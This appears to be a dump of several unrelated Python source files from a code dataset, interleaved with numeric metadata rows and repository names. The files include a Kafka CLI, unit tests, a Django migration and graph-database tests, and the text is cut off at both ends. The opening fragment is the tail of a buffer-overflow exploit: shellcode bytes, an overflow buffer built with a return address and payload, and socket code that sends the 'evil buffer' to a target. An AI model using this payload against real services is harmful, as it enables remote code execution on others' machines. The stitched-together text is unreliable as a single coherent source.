"\x3b\x5a\x86\x88\x6d\x34\x70\x6f\xc4\xf6\x2a\x39\xbb\x50\xba" "\xbc\xf7\x62\xbc\xc0\xdd\x14\x20\x70\x88\x60\x5f\xbd\x5c\x65" "\x18\xa3\xfc\x8a\xf3\x67\x1c\x69\xd1\x9d\xb5\x34\xb0\x1f\xd8" "\xc6\x6f\x63\xe5\x44\x85\x1c\x12\x54\xec\x19\x5e\xd2\x1d\x50" "\xcf\xb7\x21\xc7\xf0\x9d") postfix = "" buffer = prefix + overflow + retn + padding + payload + postfix s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) print("Sending evil buffer...") s.send(bytes(buffer + "\r\n", "latin-1")) print("Done!") except: print("Could not connect.")

39.5

73

0.696709

422

1,975

3.255924

0.549763

0.008734

0

0.257235

0.05519

1,975

49

74

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0.4791

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0.547619

0.773546

0.722594

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0

1

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0

0.02381

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0.02381

0.071429

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0

1

0

1

0

1

null

1

0

6

af6f367d7cdaed06d634c9db91b020afc6d934e8

3,197

py

Python

domba/clis/start.py

sofyan48/domba

fbd891ce69325d56774114eb6ef71c8d0f5ab428

[ "MIT" ]

1

2019-07-27T12:17:16.000Z

domba/clis/start.py

meongbego/domba

fbd891ce69325d56774114eb6ef71c8d0f5ab428

[ "MIT" ]

null

domba/clis/start.py

meongbego/domba

fbd891ce69325d56774114eb6ef71c8d0f5ab428

[ "MIT" ]

null

from domba.clis.base import Base from domba.libs import env_lib from domba.libs import knot_lib from domba.libs import kafka_lib import os class Start(Base): """ usage: start slave start master Command : Options: -h --help Print usage """ def execute(self): # knot_lib.utils.check_root() broker_env = env_lib.utils.get_env_values_broker() broker = broker_env['broker']+":"+broker_env['port'] topic = broker_env['topic'] group = broker_env['group'] flag = broker_env['flags'] if self.args['slave']: try: knot_lib.utils.log_err("Connecting to broker : "+broker) consumer = kafka_lib.get_kafka_consumer(broker, topic, group) except Exception as e: knot_lib.utils.log_err("Not Connecting to broker : "+broker) knot_lib.utils.log_err("Error: "+ str(e)) exit() try: for message in consumer: type_command = None message = message.value for i in message: try: type_command = message[i]['type'] except Exception as e: print("Set Your Types Command") if type_command == "general": knot_lib.parsing_data_general(message, broker) elif type_command == "cluster": knot_lib.parsing_data_cluster(message, broker, flags=flag) else: print("Type Command Not Found") except KeyboardInterrupt: print("Exited") # except Exception as e: # env_lib.utils.log_err(str(e)) exit() if self.args['master']: try: knot_lib.utils.log_err("Connecting to broker : "+broker) consumer = kafka_lib.get_kafka_consumer(broker, topic, group) except Exception as e: knot_lib.utils.log_err("Not Connecting to broker : "+broker) knot_lib.utils.log_err("Error: "+ str(e)) exit() try: for message in consumer: type_command = None message = message.value for i in message: try: type_command = message[i]['type'] except Exception as e: print("Set Your Types Command") if type_command == "general": knot_lib.parsing_data_general(message, broker) elif type_command == "cluster": knot_lib.parsing_data_cluster(message, broker, flags=flag) else: print("Type Command Not Found") except KeyboardInterrupt: print("Exited") # except Exception as e: # env_lib.utils.log_err(str(e)) exit()

38.987805

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3,197

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0.05906

0.075168

0.777181

0.747651

0

0.432906

3,197

82

83

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0.821842

0.079137

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0.099618

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false

0

0.078125

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0.109375

0.09375

0

null

0

1

0

1

0

null

0

6

af9cba96e04a6dafd8fe9ffe1a97e239f33fd7e2

188

py

Python

improutils/__init__.py

ImprolabFIT/improutils

84666f88db594dd5d24cf946c635df37643ed309

[ "MIT" ]

null

improutils/__init__.py

ImprolabFIT/improutils

84666f88db594dd5d24cf946c635df37643ed309

[ "MIT" ]

null

improutils/__init__.py

ImprolabFIT/improutils

84666f88db594dd5d24cf946c635df37643ed309

[ "MIT" ]

null

from .other import * from .acquisition import * from .filtration import * from .preprocessing import * from .recognition import * from .segmentation import * from .visualisation import *

20.888889

28

0.771277

21

188

6.904762

0.428571

0.413793

0

0.154255

188

8

29

23.5

0.91195

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

afcfa7df8b6551e0c9178682429e9831edd629a5

1,767

py

Python

tests/test_write_basic_udf.py

eodcgmbh/eodc-openeo-bindings

4e80eba036771a0c81359e1ac66862f1eead407b

[ "MIT" ]

null

tests/test_write_basic_udf.py

eodcgmbh/eodc-openeo-bindings

4e80eba036771a0c81359e1ac66862f1eead407b

[ "MIT" ]

7

2020-02-18T17:12:31.000Z

2020-09-24T07:19:04.000Z

tests/test_write_basic_udf.py

eodcgmbh/eodc-openeo-bindings

4e80eba036771a0c81359e1ac66862f1eead407b

[ "MIT" ]

null

""" This test checks the input file generation of a basic job using a python UDF. """ import os from eodc_openeo_bindings.job_writer.basic_writer import BasicJobWriter def test_basic_python_udf(test_folder, out_filepath_basic, backend_processes, S2_filepaths_short): evi_file = os.path.join(test_folder, 'process_graphs', 'udf_python.json') BasicJobWriter().write_job(process_graph_json=evi_file, job_data='./output_udf_python', process_defs=backend_processes, in_filepaths=S2_filepaths_short, output_filepath=out_filepath_basic) with open(out_filepath_basic) as outfile: out_content = outfile.read() filepath_split = os.path.splitext(out_filepath_basic)[0] filename = filepath_split.split(os.path.sep)[-1] ref_filepath = os.path.join(os.environ['REF_JOBS'], filename + '_udf_python_ref.py') with open(ref_filepath) as outfile: ref_content = outfile.read() assert out_content == ref_content def test_basic_r_udf(test_folder, out_filepath_basic, backend_processes, S2_filepaths_short): evi_file = os.path.join(test_folder, 'process_graphs', 'udf_r.json') BasicJobWriter().write_job(process_graph_json=evi_file, job_data='./output_udf_r', process_defs=backend_processes, in_filepaths=S2_filepaths_short, output_filepath=out_filepath_basic) with open(out_filepath_basic) as outfile: out_content = outfile.read() filepath_split = os.path.splitext(out_filepath_basic)[0] filename = filepath_split.split(os.path.sep)[-1] ref_filepath = os.path.join(os.environ['REF_JOBS'], filename + '_udf_r_ref.py') with open(ref_filepath) as outfile: ref_content = outfile.read() assert out_content == ref_content

39.266667

131

0.739106

249

1,767

4.875502

0.24498

0.072488

0.105437

0.026359

0.848435

0

0.005402

0.161856

1,767

44

132

40.159091

0.814315

0.043577

0

0.615385

0

0.079073

0

0.076923

1

0.076923

false

0

0.076923

0

0.153846

0

null

0

1

0

null

0

6

bbb7c8daf68cfc0db3531104ebe1585494d2cd41

192

py

Python

jude_customization/jude_customization/doctype/atlantic_fluid_configuration/test_atlantic_fluid_configuration.py

mymi14s/jude_customization

6de7173a03cedf8c712c2d05453c821dff7eec58

[ "MIT" ]

null

jude_customization/jude_customization/doctype/atlantic_fluid_configuration/test_atlantic_fluid_configuration.py

mymi14s/jude_customization

6de7173a03cedf8c712c2d05453c821dff7eec58

[ "MIT" ]

null

jude_customization/jude_customization/doctype/atlantic_fluid_configuration/test_atlantic_fluid_configuration.py

mymi14s/jude_customization

6de7173a03cedf8c712c2d05453c821dff7eec58

[ "MIT" ]

2

2020-11-09T16:22:52.000Z

2020-12-19T20:52:10.000Z

21.333333

76

0.807292

22

192

7.045455

0.909091

0

0.035503

0.119792

192

8

77

24

0.881657

0.541667

0

1

0

true

0.333333

0

0.666667

0

1

0

null

0

1

0

null

0

1

0

1

0

6

bbbf9065c2092f796276d52d4458d16e60c9b5cb

97

py

Python

tadataka/__init__.py

IshitaTakeshi/DVO

2c5a3db1db7e651bfaa7808bbf79a6c1c6a42fc5

[ "Apache-2.0" ]

7

2019-12-20T07:19:11.000Z

2021-07-22T03:25:12.000Z

tadataka/__init__.py

IshitaTakeshi/DVO

2c5a3db1db7e651bfaa7808bbf79a6c1c6a42fc5

[ "Apache-2.0" ]

null

tadataka/__init__.py

IshitaTakeshi/DVO

2c5a3db1db7e651bfaa7808bbf79a6c1c6a42fc5

[ "Apache-2.0" ]

null

from tadataka.visual_odometry import VisualOdometry from tadataka.camera import CameraParameters

32.333333

51

0.896907

11

97

7.818182

0.727273

0.27907

0

0.082474

97

2

52

48.5

0.966292

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

bbed6bb7a92a7f22be0a1cdd4bf174a34f7f4719

7,655

py

Python

tests/Monkeypatching/test_Api_monkeypatching_api_get_by_id.py

LudwikaMalinowska/Automated-Testing-Project2

f0868700af8d6b946768d67b3c1768c2447f1a60

[ "MIT" ]

null

tests/Monkeypatching/test_Api_monkeypatching_api_get_by_id.py

LudwikaMalinowska/Automated-Testing-Project2

f0868700af8d6b946768d67b3c1768c2447f1a60

[ "MIT" ]

null

tests/Monkeypatching/test_Api_monkeypatching_api_get_by_id.py

LudwikaMalinowska/Automated-Testing-Project2

f0868700af8d6b946768d67b3c1768c2447f1a60

[ "MIT" ]

null

import unittest import requests from assertpy import assert_that from requests.exceptions import Timeout from unittest.mock import Mock, patch from src.Api import Api from src.todos import todos class TestApiMonkeyPatch(unittest.TestCase): @patch('src.Api.Api', autospec=True) def test_method_api_get_by_id_raises_timeout(self, mock_class): mock_id = Mock() mock_id.return_value = 1 mock_class.api_get_by_id.side_effect = Timeout with self.assertRaises(Timeout): mock_class.api_get_by_id(mock_id) def test_method_api_get_by_id_assert_that_called_once(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_get_by_id(mock_id) mock_api.api_get_by_id.assert_called_once() def test_method_api_get_by_id_assert_that_called(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_get_by_id(mock_id) mock_api.api_get_by_id(mock_id2) mock_api.api_get_by_id.assert_called() def test_method_api_get_by_id_assert_that_not_called(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_get_by_id.assert_not_called() def test_method_api_get_by_id_assert_that_called_with_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_get_by_id(mock_id) mock_api.api_get_by_id.assert_called_with(mock_id) def test_method_api_get_by_id_assert_that_called_once_with_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_get_by_id(mock_id) mock_api.api_get_by_id.assert_called_once_with(mock_id) def test_method_api_get_by_id_assert_that_response_equal_to_expected_userId_1_id_1_completed_false(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_get_by_id.return_value = {"data": todos[todo_id - 1], "status_code": 200} response = mock_api.api_get_by_id(todo_id) expected_todo = { "userId": 1, "id": 1, "title": "delectus aut autem", "completed": False } assert_that(response["data"]).is_equal_to(expected_todo) def test_method_api_get_by_id_assert_that_response_contains_all_keys_userId_id_title_completed(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_get_by_id.return_value = {"data": todos[todo_id - 1], "status_code": 200} response = mock_api.api_get_by_id(todo_id) assert_that(response["data"]).contains_key("userId", "id", "title", "completed") def test_method_api_get_by_id_assert_that_response_has_status_code_200(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_get_by_id.return_value = {"data": todos[todo_id - 1], "status_code": 200} response = mock_api.api_get_by_id(todo_id) assert_that(response).has_status_code(200) def test_method_api_get_by_id_assert_that_response_dont_have_status_code_200(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_get_by_id.return_value = {"status_code": 408} response = mock_api.api_get_by_id(todo_id) assert_that(response["status_code"]).is_not_equal_to(200) def test_method_api_get_by_id_assert_that_not_called_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_get_by_id(mock_id) with self.assertRaises(AssertionError): mock_api.api_get_by_id.assert_not_called() def test_method_api_get_by_id_assert_that_called_once_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_get_by_id(mock_id) mock_api.api_get_by_id(mock_id2) with self.assertRaises(AssertionError): mock_api.api_get_by_id.assert_called_once() def test_method_api_get_by_id_assert_that_called_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_get_by_id(mock_id2) with self.assertRaises(AssertionError): mock_api.api_get_by_id.assert_called_with(mock_id) def test_api_get_by_id_monkeypatch_called_once_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_get_by_id(mock_id) mock_api.api_get_by_id(mock_id2) with self.assertRaises(AssertionError): mock_api.api_get_by_id.assert_called_once_with(mock_id) def test_method_api_get_by_id_no_parameter_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: with self.assertRaises(TypeError): mock_api.api_get_by_id() def test_method_api_get_by_id_assert_that_response_returns_ValueError_when_called_with_id_0_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 0 mock_api.api_get_by_id.return_value = {"status_code": 408} mock_api.api_get_by_id.side_effect = ValueError assert_that(mock_api.api_get_by_id).raises(ValueError).when_called_with(todo_id) def test_method_api_get_by_id_assert_that_response_returns_ValueError_when_called_with_id_300_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 300 mock_api.api_get_by_id.return_value = {"status_code": 408} mock_api.api_get_by_id.side_effect = ValueError assert_that(mock_api.api_get_by_id).raises(ValueError).when_called_with(todo_id) def test_method_api_get_by_id_assert_that_response_returns_TypeError_when_called_with_id_not_int_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = "1" mock_api.api_get_by_id.return_value = {"status_code": 408} mock_api.api_get_by_id.side_effect = TypeError assert_that(mock_api.api_get_by_id).raises(TypeError).when_called_with(todo_id) def test_method_api_get_by_id_assert_that_response_returns_AttributeError_when_called_with_id_None_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = None mock_api.api_get_by_id.return_value = {"status_code": 408} mock_api.api_get_by_id.side_effect = AttributeError assert_that(mock_api.api_get_by_id).raises(AttributeError).when_called_with(todo_id) if __name__ == '__main__': unittest.main()

44.248555

119

0.678903

1,157

7,655

3.996543

0.070873

0.08045

0.107266

0.134083

0.847318

0.839533

0.821151

0.816176

0.807742

0.786548

0

0.014734

0.237492

7,655

173

120

44.248555

0.777454

0

0.622378

0

0.052116

0

0.27972

1

0.132867

false

0

0.048951

0

0.188811

0

null

0

1

0

null

0

6

bbf5f66b6a4f40cea15c174917bd79930606ce25

189

py

Python

tests/controls/scroller.py

whitegreyblack/PyWin

78f3637b4c03c11d7f6ef15b20a1acf699d4be24

[ "MIT" ]

null

tests/controls/scroller.py

whitegreyblack/PyWin

78f3637b4c03c11d7f6ef15b20a1acf699d4be24

[ "MIT" ]

null

tests/controls/scroller.py

whitegreyblack/PyWin

78f3637b4c03c11d7f6ef15b20a1acf699d4be24

[ "MIT" ]

null

"""ScrollList Component Test""" import curses from source.controls import Window from source.controls import ScrollList as Scroller __author__ = "Samuel Whang" def view(screen): pass

18.9

50

0.777778

24

189

5.958333

0.75

0.13986

0.251748

0.335664

0

0.148148

189

9

51

21

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0.132275

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0

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0.166667

false

0.166667

0.5

0

0.666667

0

1

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null

0

1

0

1

0

null

0

1

0

6

a5724709634797eaf22a9f27d89e8c87596f3423

115

py

Python

recvCases/conf.py

BattleJudge/recvCase

b7e55cd3c40603fe2c0086066421b269a0664f1e

[ "MIT" ]

null

recvCases/conf.py

BattleJudge/recvCase

b7e55cd3c40603fe2c0086066421b269a0664f1e

[ "MIT" ]

null

recvCases/conf.py

BattleJudge/recvCase

b7e55cd3c40603fe2c0086066421b269a0664f1e

[ "MIT" ]

null

ErrorMsg = {'BadZipFile' : 'Uploaded zip file is bad', 'EmptyZipFile' : 'Uploaded zip file is empty',}

57.5

59

0.626087

13

115

5.538462

0.692308

0.305556

0.416667

0.472222

0

0.243478

115

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57.5

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null

1

0

1

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null

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6

a57be98b089324586aa986fd832a393072298d21

2,412

py

Python

leads/migrations/0009_alter_bankstatement_bank_statement_and_more.py

sumeet2605/CRM

1c9a740ef052d0e51b2689dd3e1666ff4673db98

[ "MIT" ]

null

leads/migrations/0009_alter_bankstatement_bank_statement_and_more.py

sumeet2605/CRM

1c9a740ef052d0e51b2689dd3e1666ff4673db98

[ "MIT" ]

null

leads/migrations/0009_alter_bankstatement_bank_statement_and_more.py

sumeet2605/CRM

1c9a740ef052d0e51b2689dd3e1666ff4673db98

[ "MIT" ]

null

# Generated by Django 4.0 on 2022-02-06 09:46 from django.db import migrations, models import leads.models import rizcrm.storage_backends class Migration(migrations.Migration): dependencies = [ ('leads', '0008_user_profile_picture'), ] operations = [ migrations.AlterField( model_name='bankstatement', name='bank_statement', field=models.FileField(blank=True, null=True, storage=rizcrm.storage_backends.PublicMediaStorage(), upload_to=leads.models.handle_upload_kyc), ), migrations.AlterField( model_name='c2cdocument', name='card_copy', field=models.ImageField(blank=True, null=True, storage=rizcrm.storage_backends.PublicMediaStorage(), upload_to=leads.models.handle_upload_kyc), ), migrations.AlterField( model_name='c2cdocument', name='card_statement', field=models.FileField(blank=True, null=True, storage=rizcrm.storage_backends.PublicMediaStorage(), upload_to=leads.models.handle_upload_kyc), ), migrations.AlterField( model_name='document', name='company_id', field=models.ImageField(blank=True, null=True, storage=rizcrm.storage_backends.PublicMediaStorage(), upload_to=leads.models.handle_upload_documents), ), migrations.AlterField( model_name='document', name='pan_card', field=models.FileField(blank=True, null=True, storage=rizcrm.storage_backends.PublicMediaStorage(), upload_to=leads.models.handle_upload_documents), ), migrations.AlterField( model_name='document', name='photo', field=models.ImageField(blank=True, null=True, storage=rizcrm.storage_backends.PublicMediaStorage(), upload_to=leads.models.handle_upload_documents), ), migrations.AlterField( model_name='salaryslip', name='salary_slip', field=models.FileField(blank=True, null=True, storage=rizcrm.storage_backends.PublicMediaStorage(), upload_to=leads.models.handle_upload_kyc), ), migrations.AlterField( model_name='user', name='profile_picture', field=models.ImageField(blank=True, null=True, storage=rizcrm.storage_backends.PublicMediaStorage(), upload_to='profile_pictures/'), ), ]

43.071429

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247

2,412

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0.121465

0.1491

0.78856

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0

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0.223051

2,412

55

162

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0.819637

0.017828

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0.08703

0.010562

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1

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false

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0.061224

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0

null

0

1

0

1

0

null

0

6

3c325c2ee5bdb7ac85221911bcf0265edefa9de5

91

py

Python

8_kyu/Removing_Elements.py

UlrichBerntien/Codewars-Katas

bbd025e67aa352d313564d3862db19fffa39f552

[ "MIT" ]

null

8_kyu/Removing_Elements.py

UlrichBerntien/Codewars-Katas

bbd025e67aa352d313564d3862db19fffa39f552

[ "MIT" ]

null

8_kyu/Removing_Elements.py

UlrichBerntien/Codewars-Katas

bbd025e67aa352d313564d3862db19fffa39f552

[ "MIT" ]

null

def remove_every_other(my_list): return [my_list[it] for it in range(0,len(my_list),2)]

45.5

58

0.736264

19

91

3.263158

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0

0.025

0.120879

91

2

58

45.5

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0.5

false

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0.5

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1

0

null

0

1

0

1

0

6

3c48c2125ebec3cfbc2f8abe3432087a8f247884

28

py

Python

ars/__init__.py

david-lindner/ARS

acfe403ebe90c157d61690a9498597244853fc78

[ "BSD-2-Clause" ]

null

ars/__init__.py

david-lindner/ARS

acfe403ebe90c157d61690a9498597244853fc78

[ "BSD-2-Clause" ]

null

ars/__init__.py

david-lindner/ARS

acfe403ebe90c157d61690a9498597244853fc78

[ "BSD-2-Clause" ]

null

from .ars import ARSLearner

14

27

0.821429

4

28

5.75

1

0

0.142857

28

1

28

0.958333

0

1

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1

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null

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0

null

0

1

0

1

0

1

0

6

3c90a121b4d915c2524981fd84ae09376497b28d

91

py

Python

chocopy-rs/test/pa3/simple_str.py

wwylele/chocopy-wwylele

ef60c94cc9c2d7c8ac11cf2761b724a717ac36aa

[ "MIT" ]

5

2020-05-13T03:47:43.000Z

2022-01-20T04:52:42.000Z

chocopy-rs/test/pa3/simple_str.py

wwylele/chocopy-wwylele

ef60c94cc9c2d7c8ac11cf2761b724a717ac36aa

[ "MIT" ]

4

2020-05-18T01:06:15.000Z

2020-06-12T19:33:14.000Z

chocopy-rs/test/pa3/simple_str.py

wwylele/chocopy-rs

ef60c94cc9c2d7c8ac11cf2761b724a717ac36aa

[ "MIT" ]

null

print("debug_print: 42") print("") print("Hello") #! #<-># #debug_print: 42 # #Hello #<->#

9.1

24

0.56044

11

91

4.454545

0.363636

0.408163

0.489796

0

0.05

0.120879

91

9

25

10.111111

0.5625

0.296703

0

0.357143

0

1

0

true

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

59373033d6759f87ac888baaf5e7fad69fe7d8fc

135,252

py

Python

pychunkedgraph/tests/test.py

perlman/PyChunkedGraph

2c582f46a8292010e8f9f54c94c63af0b172bdad

[ "MIT" ]

null

pychunkedgraph/tests/test.py

perlman/PyChunkedGraph

2c582f46a8292010e8f9f54c94c63af0b172bdad

[ "MIT" ]

null

pychunkedgraph/tests/test.py

perlman/PyChunkedGraph

2c582f46a8292010e8f9f54c94c63af0b172bdad

[ "MIT" ]

null

import sys import os import subprocess import pytest import numpy as np from functools import partial import collections from grpc._channel import _Rendezvous from google.cloud import bigtable from google.auth import credentials from math import inf from datetime import datetime, timedelta from time import sleep from signal import SIGTERM from warnings import warn sys.path.insert(0, os.path.join(sys.path[0], '..')) from pychunkedgraph.backend import chunkedgraph # noqa from pychunkedgraph.backend.utils import serializers, column_keys # noqa from pychunkedgraph.backend import chunkedgraph_exceptions as cg_exceptions # noqa from pychunkedgraph.creator import graph_tests # noqa def setup_emulator_env(): bt_env_init = subprocess.run( ["gcloud", "beta", "emulators", "bigtable", "env-init"], stdout=subprocess.PIPE) os.environ["BIGTABLE_EMULATOR_HOST"] = \ bt_env_init.stdout.decode("utf-8").strip().split('=')[-1] c = bigtable.Client( project='IGNORE_ENVIRONMENT_PROJECT', credentials=credentials.AnonymousCredentials(), admin=True) t = c.instance("emulated_instance").table("emulated_table") try: t.create() return True except Exception as err: print('Bigtable Emulator not yet ready: %s' % err) return False @pytest.fixture(scope='session', autouse=True) def bigtable_emulator(request): # Start Emulator bigtable_emulator = subprocess.Popen( ["gcloud", "beta", "emulators", "bigtable", "start"], preexec_fn=os.setsid, stdout=subprocess.PIPE) # Wait for Emulator to start up print("Waiting for BigTables Emulator to start up...", end='') retries = 5 while retries > 0: if setup_emulator_env() is True: break else: retries -= 1 sleep(5) if retries == 0: print("\nCouldn't start Bigtable Emulator. Make sure it is installed correctly.") exit(1) # Setup Emulator-Finalizer def fin(): os.killpg(os.getpgid(bigtable_emulator.pid), SIGTERM) bigtable_emulator.wait() request.addfinalizer(fin) @pytest.fixture(scope='function') def lock_expired_timedelta_override(request): # HACK: For the duration of the test, set global LOCK_EXPIRED_TIME_DELTA # to 1 second (otherwise test would have to run for several minutes) original_timedelta = chunkedgraph.LOCK_EXPIRED_TIME_DELTA chunkedgraph.LOCK_EXPIRED_TIME_DELTA = timedelta(seconds=1) # Ensure that we restore the original value, even if the test fails. def fin(): chunkedgraph.LOCK_EXPIRED_TIME_DELTA = original_timedelta request.addfinalizer(fin) return chunkedgraph.LOCK_EXPIRED_TIME_DELTA @pytest.fixture(scope='function') def gen_graph(request): def _cgraph(request, fan_out=2, n_layers=10): # setup Chunked Graph dataset_info = { "data_dir": "" } graph = chunkedgraph.ChunkedGraph( request.function.__name__, project_id='IGNORE_ENVIRONMENT_PROJECT', credentials=credentials.AnonymousCredentials(), instance_id="emulated_instance", dataset_info=dataset_info, chunk_size=np.array([512, 512, 64], dtype=np.uint64), is_new=True, fan_out=np.uint64(fan_out), n_layers=np.uint64(n_layers)) # setup Chunked Graph - Finalizer def fin(): graph.table.delete() request.addfinalizer(fin) return graph return partial(_cgraph, request) @pytest.fixture(scope='function') def gen_graph_simplequerytest(request, gen_graph): """ ┌─────┬─────┬─────┐ │ A¹ │ B¹ │ C¹ │ │ 1 │ 3━2━┿━━4 │ │ │ │ │ └─────┴─────┴─────┘ """ graph = gen_graph(n_layers=4) # Chunk A create_chunk(graph, vertices=[to_label(graph, 1, 0, 0, 0, 0)], edges=[]) # Chunk B create_chunk(graph, vertices=[to_label(graph, 1, 1, 0, 0, 0), to_label(graph, 1, 1, 0, 0, 1)], edges=[(to_label(graph, 1, 1, 0, 0, 0), to_label(graph, 1, 1, 0, 0, 1), 0.5), (to_label(graph, 1, 1, 0, 0, 0), to_label(graph, 1, 2, 0, 0, 0), inf)]) # Chunk C create_chunk(graph, vertices=[to_label(graph, 1, 2, 0, 0, 0)], edges=[(to_label(graph, 1, 2, 0, 0, 0), to_label(graph, 1, 1, 0, 0, 0), inf)]) graph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]])) graph.add_layer(3, np.array([[2, 0, 0]])) graph.add_layer(4, np.array([[0, 0, 0], [1, 0, 0]])) return graph def create_chunk(cgraph, vertices=None, edges=None, timestamp=None): """ Helper function to add vertices and edges to the chunkedgraph - no safety checks! """ if not vertices: vertices = [] if not edges: edges = [] vertices = np.unique(np.array(vertices, dtype=np.uint64)) edges = [(np.uint64(v1), np.uint64(v2), np.float32(aff)) for v1, v2, aff in edges] isolated_node_ids = [x for x in vertices if (x not in [edges[i][0] for i in range(len(edges))]) and (x not in [edges[i][1] for i in range(len(edges))])] edge_ids = {"in_connected": np.array([], dtype=np.uint64).reshape(0, 2), "in_disconnected": np.array([], dtype=np.uint64).reshape(0, 2), "cross": np.array([], dtype=np.uint64).reshape(0, 2), "between_connected": np.array([], dtype=np.uint64).reshape(0, 2), "between_disconnected": np.array([], dtype=np.uint64).reshape(0, 2)} edge_affs = {"in_connected": np.array([], dtype=np.float32), "in_disconnected": np.array([], dtype=np.float32), "between_connected": np.array([], dtype=np.float32), "between_disconnected": np.array([], dtype=np.float32)} for e in edges: if cgraph.test_if_nodes_are_in_same_chunk(e[0:2]): this_edge = np.array([e[0], e[1]], dtype=np.uint64).reshape(-1, 2) edge_ids["in_connected"] = \ np.concatenate([edge_ids["in_connected"], this_edge]) edge_affs["in_connected"] = \ np.concatenate([edge_affs["in_connected"], [e[2]]]) if len(edge_ids["in_connected"]) > 0: chunk_id = cgraph.get_chunk_id(edge_ids["in_connected"][0][0]) elif len(vertices) > 0: chunk_id = cgraph.get_chunk_id(vertices[0]) else: chunk_id = None for e in edges: if not cgraph.test_if_nodes_are_in_same_chunk(e[0:2]): # Ensure proper order if chunk_id is not None: if cgraph.get_chunk_id(e[0]) != chunk_id: e = [e[1], e[0], e[2]] this_edge = np.array([e[0], e[1]], dtype=np.uint64).reshape(-1, 2) if np.isinf(e[2]): edge_ids["cross"] = \ np.concatenate([edge_ids["cross"], this_edge]) else: edge_ids["between_connected"] = \ np.concatenate([edge_ids["between_connected"], this_edge]) edge_affs["between_connected"] = \ np.concatenate([edge_affs["between_connected"], [e[2]]]) isolated_node_ids = np.array(isolated_node_ids, dtype=np.uint64) cgraph.logger.debug(edge_ids) cgraph.logger.debug(edge_affs) # Use affinities as areas cgraph.add_atomic_edges_in_chunks(edge_ids, edge_affs, edge_affs, isolated_node_ids, time_stamp=timestamp) def to_label(cgraph, l, x, y, z, segment_id): return cgraph.get_node_id(np.uint64(segment_id), layer=l, x=x, y=y, z=z) class TestGraphNodeConversion: @pytest.mark.timeout(30) def test_compute_bitmasks(self): pass @pytest.mark.timeout(30) def test_node_conversion(self, gen_graph): cgraph = gen_graph(n_layers=10) node_id = cgraph.get_node_id(np.uint64(4), layer=2, x=3, y=1, z=0) assert cgraph.get_chunk_layer(node_id) == 2 assert np.all(cgraph.get_chunk_coordinates(node_id) == np.array([3, 1, 0])) chunk_id = cgraph.get_chunk_id(layer=2, x=3, y=1, z=0) assert cgraph.get_chunk_layer(chunk_id) == 2 assert np.all(cgraph.get_chunk_coordinates(chunk_id) == np.array([3, 1, 0])) assert cgraph.get_chunk_id(node_id=node_id) == chunk_id assert cgraph.get_node_id(np.uint64(4), chunk_id=chunk_id) == node_id @pytest.mark.timeout(30) def test_node_id_adjacency(self, gen_graph): cgraph = gen_graph(n_layers=10) assert cgraph.get_node_id(np.uint64(0), layer=2, x=3, y=1, z=0) + np.uint64(1) == \ cgraph.get_node_id(np.uint64(1), layer=2, x=3, y=1, z=0) assert cgraph.get_node_id(np.uint64(2**53 - 2), layer=10, x=0, y=0, z=0) + np.uint64(1) == \ cgraph.get_node_id(np.uint64(2**53 - 1), layer=10, x=0, y=0, z=0) @pytest.mark.timeout(30) def test_serialize_node_id(self, gen_graph): cgraph = gen_graph(n_layers=10) assert serializers.serialize_uint64(cgraph.get_node_id(np.uint64(0), layer=2, x=3, y=1, z=0)) < \ serializers.serialize_uint64(cgraph.get_node_id(np.uint64(1), layer=2, x=3, y=1, z=0)) assert serializers.serialize_uint64(cgraph.get_node_id(np.uint64(2 ** 53 - 2), layer=10, x=0, y=0, z=0)) < \ serializers.serialize_uint64(cgraph.get_node_id(np.uint64(2 ** 53 - 1), layer=10, x=0, y=0, z=0)) @pytest.mark.timeout(30) def test_deserialize_node_id(self): pass @pytest.mark.timeout(30) def test_serialization_roundtrip(self): pass @pytest.mark.timeout(30) def test_serialize_valid_label_id(self): label = np.uint64(0x01FF031234556789) assert serializers.deserialize_uint64( serializers.serialize_uint64(label)) == label class TestGraphBuild: @pytest.mark.timeout(30) def test_build_single_node(self, gen_graph): """ Create graph with single RG node 1 in chunk A ┌─────┐ │ A¹ │ │ 1 │ │ │ └─────┘ """ cgraph = gen_graph(n_layers=2) # Add Chunk A create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0)]) res = cgraph.table.read_rows() res.consume_all() # Check for the RG-to-CG mapping: # assert chunkedgraph.serialize_uint64(1) in res.rows # row = res.rows[chunkedgraph.serialize_uint64(1)].cells[cgraph.family_id] # assert np.frombuffer(row[b'cg_id'][0].value, np.uint64)[0] == 